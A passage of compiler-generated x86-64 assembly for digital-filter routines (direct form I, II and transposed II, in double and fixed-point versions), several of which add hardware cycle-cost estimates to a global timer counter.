mov DWORD PTR generic_timer[rip], eax
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, -8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -48[rbp], 1
.L700:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L701
mov edx, DWORD PTR hw[rip+108]
mov eax, DWORD PTR hw[rip+44]
add eax, edx
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -44[rbp], 1
jmp .L702
.L703:
mov eax, DWORD PTR hw[rip+48]
imul ecx, eax, 22
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 3
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+52]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+44]
sal eax, 3
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+96]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+88]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov rax, QWORD PTR -40[rbp]
lea rdx, 8[rax]
mov QWORD PTR -40[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
lea rdx, -8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -8[rbp]
subsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
add DWORD PTR -44[rbp], 1
.L702:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L703
mov edx, DWORD PTR hw[rip+48]
mov eax, DWORD PTR hw[rip+84]
add eax, edx
lea edx, 0[0+rax*4]
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+28]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+116]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE107:
.size generic_timing_double_direct_form_1, .-generic_timing_double_direct_form_1
.globl generic_timing_double_direct_form_2
.type generic_timing_double_direct_form_2, @function
generic_timing_double_direct_form_2:
.LFB108:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
movsd QWORD PTR -64[rbp], xmm0
mov QWORD PTR -72[rbp], rsi
mov QWORD PTR -80[rbp], rdx
mov DWORD PTR -84[rbp], ecx
mov DWORD PTR -88[rbp], r8d
mov eax, DWORD PTR hw[rip+24]
lea edx, 0[0+rax*8]
mov eax, DWORD PTR hw[rip+44]
imul eax, eax, 14
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+28]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -72[rbp]
add rax, 8
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -16[rbp], rax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
mov ecx, eax
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+76]
add eax, eax
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov edx, DWORD PTR hw[rip+108]
mov eax, DWORD PTR hw[rip+44]
add eax, edx
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -36[rbp], 1
jmp .L706
.L707:
mov rax, QWORD PTR -32[rbp]
lea rdx, 8[rax]
mov QWORD PTR -32[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm1, xmm0
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
subsd xmm0, xmm1
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR hw[rip+48]
imul edx, eax, 23
mov eax, DWORD PTR hw[rip+84]
sal eax, 5
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 3
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+52]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+92]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+96]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
add DWORD PTR -36[rbp], 1
.L706:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L707
mov rax, QWORD PTR -56[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, QWORD PTR -64[rbp]
mov rax, QWORD PTR -56[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
lea ecx, [rax+rdx]
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add edx, eax
mov eax, DWORD PTR hw[rip+96]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR hw[rip+44]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -40[rbp], 0
jmp .L708
.L709:
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm1
movsd xmm1, QWORD PTR -8[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 2
add eax, edx
sal eax, 2
mov ecx, eax
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 3
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+96]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+52]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
add DWORD PTR -40[rbp], 1
.L708:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -88[rbp]
jl .L709
mov edx, DWORD PTR hw[rip+48]
mov eax, DWORD PTR hw[rip+84]
add eax, edx
lea edx, 0[0+rax*4]
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+28]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+116]
sal eax, 3
add edx, eax
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE108:
.size generic_timing_double_direct_form_2, .-generic_timing_double_direct_form_2
.globl generic_timing_double_transposed_direct_form_2
.type generic_timing_double_transposed_direct_form_2, @function
generic_timing_double_transposed_direct_form_2:
.LFB109:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
movsd QWORD PTR -48[rbp], xmm0
mov QWORD PTR -56[rbp], rsi
mov QWORD PTR -64[rbp], rdx
mov DWORD PTR -68[rbp], ecx
mov DWORD PTR -72[rbp], r8d
mov eax, DWORD PTR hw[rip+24]
lea edx, 0[0+rax*8]
mov eax, DWORD PTR hw[rip+44]
imul eax, eax, 14
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+28]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
mov rax, QWORD PTR -56[rbp]
add rax, 8
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -68[rbp]
cmp DWORD PTR -72[rbp], eax
cmovge eax, DWORD PTR -72[rbp]
mov DWORD PTR -28[rbp], eax
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
movsd xmm0, QWORD PTR [rax]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 4
sub eax, edx
mov ecx, eax
mov eax, DWORD PTR hw[rip+48]
imul eax, eax, 22
add ecx, eax
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 3
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+96]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR hw[rip+44]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -32[rbp], 0
jmp .L712
.L715:
mov eax, DWORD PTR -32[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov eax, DWORD PTR -32[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -68[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L713
mov rax, QWORD PTR -24[rbp]
lea rdx, 8[rax]
mov QWORD PTR -24[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -8[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
subsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
.L713:
mov eax, DWORD PTR -72[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jge .L714
mov rax, QWORD PTR -16[rbp]
lea rdx, 8[rax]
mov QWORD PTR -16[rbp], rdx
movsd xmm0, QWORD PTR [rax]
movapd xmm1, xmm0
mulsd xmm1, QWORD PTR -48[rbp]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -32[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
.L714:
mov eax, DWORD PTR hw[rip+84]
imul ecx, eax, 70
mov eax, DWORD PTR hw[rip+48]
mov edx, eax
sal edx, 6
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+60]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
add ecx, eax
mov edx, DWORD PTR hw[rip+64]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 4
sub eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+68]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ecx, eax
mov edx, DWORD PTR hw[rip+72]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+76]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+104]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+100]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+92]
mov eax, edx
sal eax, 2
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+96]
sal eax, 2
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+52]
mov eax, edx
sal eax, 2
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+80]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+128]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+124]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+56]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+88]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+112]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
add DWORD PTR -32[rbp], 1
.L712:
mov eax, DWORD PTR -28[rbp]
sub eax, 1
cmp DWORD PTR -32[rbp], eax
jl .L715
mov edx, DWORD PTR hw[rip+48]
mov eax, DWORD PTR hw[rip+84]
add edx, eax
mov eax, DWORD PTR hw[rip+116]
add eax, eax
add eax, edx
lea ecx, 0[0+rax*4]
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+28]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE109:
.size generic_timing_double_transposed_direct_form_2, .-generic_timing_double_transposed_direct_form_2
.globl double_direct_form_1_impl2
.type double_direct_form_1_impl2, @function
double_direct_form_1_impl2:
.LFB110:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r13
push r12
sub rsp, 80
.cfi_offset 13, -24
.cfi_offset 12, -32
mov QWORD PTR -56[rbp], rdi
mov DWORD PTR -60[rbp], esi
mov QWORD PTR -72[rbp], rdx
mov DWORD PTR -64[rbp], ecx
mov QWORD PTR -80[rbp], r8
mov DWORD PTR -84[rbp], r9d
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -96[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov rax, rsp
mov rsi, rax
mov DWORD PTR -44[rbp], 0
mov DWORD PTR -48[rbp], 0
mov eax, DWORD PTR -60[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -40[rbp], rdx
movsx rdx, eax
mov r12, rdx
mov r13d, 0
movsx rdx, eax
mov r10, rdx
mov r11d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L718:
cmp rsp, rdx
je .L719
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L718
.L719:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L720
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L720:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -32[rbp], rax
mov DWORD PTR -44[rbp], 0
jmp .L721
.L726:
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
mov DWORD PTR -48[rbp], 0
jmp .L722
.L725:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -44[rbp]
jg .L734
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
mov eax, DWORD PTR -44[rbp]
sub eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -56[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mulsd xmm0, xmm2
addsd xmm0, xmm1
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -48[rbp], 1
.L722:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -64[rbp]
jl .L725
jmp .L724
.L734:
nop
.L724:
add DWORD PTR -44[rbp], 1
.L721:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L726
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -96[rbp]
movsd QWORD PTR [rax], xmm0
mov DWORD PTR -44[rbp], 1
jmp .L727
.L732:
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
pxor xmm0, xmm0
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR -44[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
mov DWORD PTR -48[rbp], 1
jmp .L728
.L731:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -44[rbp]
jg .L735
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
sub eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
movsd xmm2, QWORD PTR [rax]
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movq xmm3, QWORD PTR .LC13[rip]
xorpd xmm0, xmm3
mulsd xmm0, xmm2
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
addsd xmm0, xmm1
movsd QWORD PTR [rax], xmm0
add DWORD PTR -48[rbp], 1
.L728:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -84[rbp]
jl .L731
jmp .L730
.L735:
nop
.L730:
add DWORD PTR -44[rbp], 1
.L727:
mov eax, DWORD PTR -44[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L732
mov rsp, rsi
nop
mov rax, QWORD PTR -24[rbp]
sub rax, QWORD PTR fs:40
je .L733
call __stack_chk_fail@PLT
.L733:
lea rsp, -16[rbp]
pop r12
pop r13
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE110:
.size double_direct_form_1_impl2, .-double_direct_form_1_impl2
.globl fxp_direct_form_1_impl2
.type fxp_direct_form_1_impl2, @function
fxp_direct_form_1_impl2:
.LFB111:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r12
push rbx
sub rsp, 80
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 12, -40
.cfi_offset 3, -48
mov QWORD PTR -72[rbp], rdi
mov DWORD PTR -76[rbp], esi
mov QWORD PTR -88[rbp], rdx
mov DWORD PTR -80[rbp], ecx
mov QWORD PTR -96[rbp], r8
mov DWORD PTR -100[rbp], r9d
mov rax, QWORD PTR 16[rbp]
mov QWORD PTR -112[rbp], rax
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov r12, rax
mov DWORD PTR -60[rbp], 0
mov DWORD PTR -64[rbp], 0
mov eax, DWORD PTR -76[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -56[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r10, rdx
mov r11d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L737:
cmp rsp, rdx
je .L738
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L737
.L738:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L739
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L739:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -48[rbp], rax
mov DWORD PTR -60[rbp], 0
jmp .L740
.L745:
mov rax, QWORD PTR -48[rbp]
mov edx, DWORD PTR -60[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
mov DWORD PTR -64[rbp], 0
jmp .L741
.L744:
mov eax, DWORD PTR -64[rbp]
cmp eax, DWORD PTR -60[rbp]
jg .L753
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -88[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -60[rbp]
sub eax, DWORD PTR -64[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rcx, rax
mov rax, QWORD PTR -48[rbp]
mov edx, DWORD PTR -60[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov rsi, rcx
mov rdi, rax
call fxp_add
mov rdx, QWORD PTR -48[rbp]
mov ecx, DWORD PTR -60[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
add DWORD PTR -64[rbp], 1
.L741:
mov eax, DWORD PTR -64[rbp]
cmp eax, DWORD PTR -80[rbp]
jl .L744
jmp .L743
.L753:
nop
.L743:
add DWORD PTR -60[rbp], 1
.L740:
mov eax, DWORD PTR -60[rbp]
cmp eax, DWORD PTR -76[rbp]
jl .L745
mov rax, QWORD PTR -48[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR -112[rbp]
mov QWORD PTR [rax], rdx
mov DWORD PTR -60[rbp], 1
jmp .L746
.L751:
mov eax, DWORD PTR -60[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -112[rbp]
add rax, rdx
mov QWORD PTR [rax], 0
mov rax, QWORD PTR -48[rbp]
mov edx, DWORD PTR -60[rbp]
movsx rdx, edx
mov rdx, QWORD PTR [rax+rdx*8]
mov eax, DWORD PTR -60[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -112[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov ecx, DWORD PTR -60[rbp]
movsx rcx, ecx
lea rsi, 0[0+rcx*8]
mov rcx, QWORD PTR -112[rbp]
lea rbx, [rsi+rcx]
mov rsi, rdx
mov rdi, rax
call fxp_add
mov QWORD PTR [rbx], rax
mov DWORD PTR -64[rbp], 1
jmp .L747
.L750:
mov eax, DWORD PTR -64[rbp]
cmp eax, DWORD PTR -60[rbp]
jg .L754
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -96[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
neg rax
mov rdx, rax
mov eax, DWORD PTR -60[rbp]
sub eax, DWORD PTR -64[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -112[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call fxp_mult
mov rdx, rax
mov eax, DWORD PTR -60[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -112[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
